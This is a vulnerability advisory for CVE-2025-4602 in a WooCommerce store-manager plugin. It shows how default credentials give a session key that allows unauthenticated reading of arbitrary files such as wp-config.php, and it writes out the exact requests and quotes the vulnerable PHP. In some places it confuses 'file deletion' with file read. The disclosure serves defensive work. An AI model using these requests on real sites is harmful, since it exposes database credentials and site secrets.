eMagicOne Store Manager for WooCommerce <= 1.2.5 - Unauthenticated Arbitrary File Read
CVE-2025-4602
The eMagicOne Store Manager for WooCommerce plugin exposes a remote management protocol endpoint (?connector=bridge) that allows file deletion operations on the server. The authentication mechanism relies on a default credential pair (login=1, password=1) and a session key system. If the default credentials are not changed, an attacker can trivially authenticate, obtain a session key, and read arbitrary files from the WordPress root or any accessible directory.
Reproduction
A POC CVE-2025-4602.py is provided to demonstrate reading the wp-config.php file from the server.

Vulnerable Flow
Default Credentials and Hash Calculation
On plugin activation, the following constants are set in smconnector.php:
define( 'EMO_SMC_DEFAULT_LOGIN', '1' );
define( 'EMO_SMC_DEFAULT_PASSWORD', '1' );
The default hash used for authentication is:
'smconnector_hash' => md5( EMO_SMC_DEFAULT_LOGIN . EMO_SMC_DEFAULT_PASSWORD ),
Result: The default hash is md5('1' . '1') = c4ca4238a0b923820dcc509a6f75849b.
Session Key Acquisition
A session key is obtained by sending a POST request to the bridge endpoint with the hash and a task (e.g., get_version):
POST /?connector=bridge
Content-Type: application/x-www-form-urlencoded
hash=c4ca4238a0b923820dcc509a6f75849b&task=get_version
Relevant code:
classes/class-emosmconnectorcommon.php (lines ~441-525):
private function check_auth() {
if ( $this->shop_cart->isset_request_param( 'key' ) ) {
// ... session key validation ...
} elseif ( $this->shop_cart->isset_request_param( 'hash' ) ) {
$hash = (string) $this->shop_cart->get_request_param( 'hash' );
if ( ! $this->is_hash_valid( $hash ) ) {
// ... error ...
}
$key = $this->generate_session_key( $hash );
// ... return session key ...
}
}
Session Key Storage
The session key is stored in the wp_smconnector_session_keys table:
private function generate_session_key( $hash ) {
$key = hash( 'sha256', $hash . $timestamp );
$sql = 'INSERT INTO `' . self::TABLE_SESSION_KEYS
. "` (`session_key`, `date_added`, `last_activity`) VALUES ('" . $this->shop_cart->p_sql( $key ) . "', '"
. $date . "', '" . $date . "')";
$this->shop_cart->exec_sql( $sql );
return $key;
}
Arbitrary File Read
With a valid session key, an attacker can read a files using the get_file task:
POST /?connector=bridge&task=get_file&key=<session_key>&entity_type=.&filename=wp-config.php
Relevant code:
classes/class-emosmconnectorcommon.php (lines ~2219+):
2219 /** Get file */
2220 private function get_file() {
2221 if ( ! $this->shop_cart->isset_request_param( 'entity_type' ) ) {
2222 $this->generate_error( $this->br_errors['entitytype_param_missing'] );
2223 }
2224
2225 if ( ! $this->shop_cart->isset_request_param( 'filename' ) ) {
2226 $this->generate_error( $this->br_errors['filename_param_missing'] );
2227 }
2228
2229 $entity_type = (string) $this->shop_cart->get_request_param( 'entity_type' );
2230 $filename = (string) $this->shop_cart->get_request_param( 'filename' );
2231
2232 if ( empty( $entity_type ) ) {
2233 $this->generate_error( $this->br_errors['entitytype_param_empty'] );
2234 }
2235
2236 if ( empty( $filename ) ) {
2237 $this->generate_error( $this->br_errors['filename_param_empty'] );
2238 }
2239
2240 $file_path = $this->shop_cart->get_file( $entity_type, $filename );
2241
2242 if ( $file_path && $this->shop_cart->file_exists( $file_path ) ) {
2243 header( 'Content-Type: image/jpeg' );
2244 header( 'Content-Length: ' . $this->shop_cart->file_size( $file_path ) );
2245 readfile( $file_path );
2246 } else {
2247 $this->generate_error( 'File is missing' );
2248 }
2249 }
File deletion in class-emosmcwoocommerceoverrider.php (lines ~380+)::
426 public function get_file( $folder, $filename ) {
427 $folder = trim( $folder, '/' );
428 $filename = ltrim( $filename, '/' );
429 if ( empty( $folder ) ) {
430 return $this->get_shop_root_dir() . $filename;
431 }
432
433 return $this->get_shop_root_dir() . "$folder/$filename";
Result: The file is returned from the server.
